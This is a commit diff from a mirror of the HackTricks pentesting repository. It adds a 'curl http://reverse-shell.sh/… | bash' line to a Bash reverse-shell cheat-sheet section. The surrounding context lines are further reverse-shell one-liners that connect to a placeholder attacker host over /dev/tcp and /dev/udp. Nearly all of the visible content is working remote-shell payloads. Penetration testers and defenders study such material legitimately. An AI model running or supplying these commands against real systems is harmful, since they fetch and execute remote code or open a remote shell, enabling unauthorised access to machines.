mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
GitBook: [master] one page modified
This commit is contained in:
parent
8ed3447a9c
commit
7bbd46c41d
1 changed files with 1 additions and 0 deletions
|
@ -9,6 +9,7 @@
|
||||||
## Bash \| sh
|
## Bash \| sh
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
curl http://reverse-shell.sh/1.1.1.1:3000 | bash
|
||||||
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
||||||
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
||||||
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
|
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
|
||||||
|
|
Loading…
Reference in a new issue